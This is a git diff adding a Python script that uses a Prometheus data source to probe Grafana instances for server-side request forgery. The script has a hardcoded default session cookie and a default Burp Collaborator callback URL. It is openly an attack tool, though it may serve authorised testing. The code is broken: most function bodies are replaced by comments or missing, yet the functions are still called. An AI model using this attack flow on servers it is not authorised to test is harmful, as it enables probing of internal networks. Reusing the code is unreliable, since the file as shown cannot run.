diff --git a/web_application_testing/ssrf_ywing.py b/web_application_testing/ssrf_ywing.py
new file mode 100644
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+++ b/web_application_testing/ssrf_ywing.py
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+#!/usr/bin/env python
+
+# This script is used to test a Grafana instance for Server Side Request Forgery (SSRF) vulnerabilities through Prometheus.
+# This was originally authored by @RandomRobbieBF.
+# Note: The SSRF exploit attempted by this script does not follow redirects.
+
+# Importing the required libraries
+import requests
+import json
+import sys
+import argparse
+import re
+import os.path
+import json
+from requests.packages.urllib3.exceptions import InsecureRequestWarning
+
+# Disabling warnings from insecure requests for cleaner output.
+requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
+
+# Creating a new session object that will persist across requests
+session = requests.Session()
+
+# Parsing arguments from the command line
+parser = argparse.ArgumentParser()
+
+# The user can optionally provide a session cookie. If not provided, a default value is used.
+parser.add_argument("-s", "--session", required=False ,default="9765ac114207245baf67dfd2a5e29f3a",help="Session Cookie Value")
+
+# The URL of the host to be checked for SSRF. It needs to have http or https.
+parser.add_argument("-u", "--url", required=False, default="http://8t2s8yx5gh5nw0z9bd3atkoprgx6lv.burpcollaborator.net",help="URL of host to check will need http or https")
+
+# The Grafana host URL. This argument is required.
+parser.add_argument("-H", "--host", default="http://kubernetes.docker.internal:5000",required=True, help="Host for Grafana")
+
+# Username for the Grafana instance. It's not required by default.
+parser.add_argument("-U", "--username", default="",required=False, help="Username for Grafana")
+
+# Password for the Grafana instance. It's not required by default.
+parser.add_argument("-P", "--password", default="",required=False, help="Password for Grafana")
+
+# If the user wants to use a proxy for debugging, they can provide it here.
+parser.add_argument("-p", "--proxy", default="",required=False, help="Proxy for debugging")
+
+# Parsing the arguments
+args = parser.parse_args()
+
+# Assigning parsed arguments to variables
+ssrf_url = args.url
+sessionid = args.session
+ghost = args.host
+username = args.username
+password = args.password
+
+# If a proxy is provided, it's set up as the environment variable for the current session
+if args.proxy:
+	http_proxy = args.proxy
+	os.environ['HTTP_PROXY'] = http_proxy
+	os.environ['HTTPS_PROXY'] = http_proxy
+
+# Function to create a source in the Grafana instance.
+def create_source(sessionid, ssrf_url,ghost):
+	# Preparing the request body and headers
+	# The request is sent to /api/datasources endpoint of the Grafana instance
+	# If the source with the same name already exists, the script will exit and prompt user to delete it manually.
+	# If the source is successfully created, the function will return the ID of the new source.
+
+# Function to refresh the data source in Grafana. The request is sent to /api/datasources/{id} endpoint of the Grafana instance.
+# If the source is successfully refreshed, it prints "Refreshed Sources", else, it deletes the source and print the error.
+
+# Function to create a SSRF in the Grafana instance.
+# If the SSRF is successfully created, it prints "SSRF Source Updated", else, it deletes the source and print the error.
+
+# Function to check if the SSRF is working by sending a GET request to /api/datasources/proxy/{id}/ endpoint of the Grafana instance.
+# If the response status code is not 502, it prints the status code and response body, else, it deletes the source and print the error.
+
+# Function to delete a data source in the Grafana instance. The request is sent to /api/datasources/{id} endpoint of the Grafana instance.
+# If the data source is successfully deleted, it prints "Deleted Old SSRF Source", else, it exits the script and print the error.
+
+# Function to log in to the Grafana instance. It sends a POST request to /login endpoint of the Grafana instance.
+# If the login is successful, it returns the session cookie, else, it exits the script and print the error.
+
+# If the user has provided a username, it uses the login function to get the sessionid
+if username:
+	sessionid = login(ghost,username,password)
+
+# If the user has provided a SSRF URL, it creates a source, refreshes the source, creates a SSRF, and checks the SSRF.
+if ssrf_url:
+	i = create_source(sessionid,ssrf_url,ghost)
+	id = str(i)
+	refresh_source(ghost,sessionid,id)
+	create_ssrf(sessionid,ssrf_url,ghost,id)
+	check_ssrf(sessionid,id,ghost,ssrf_url)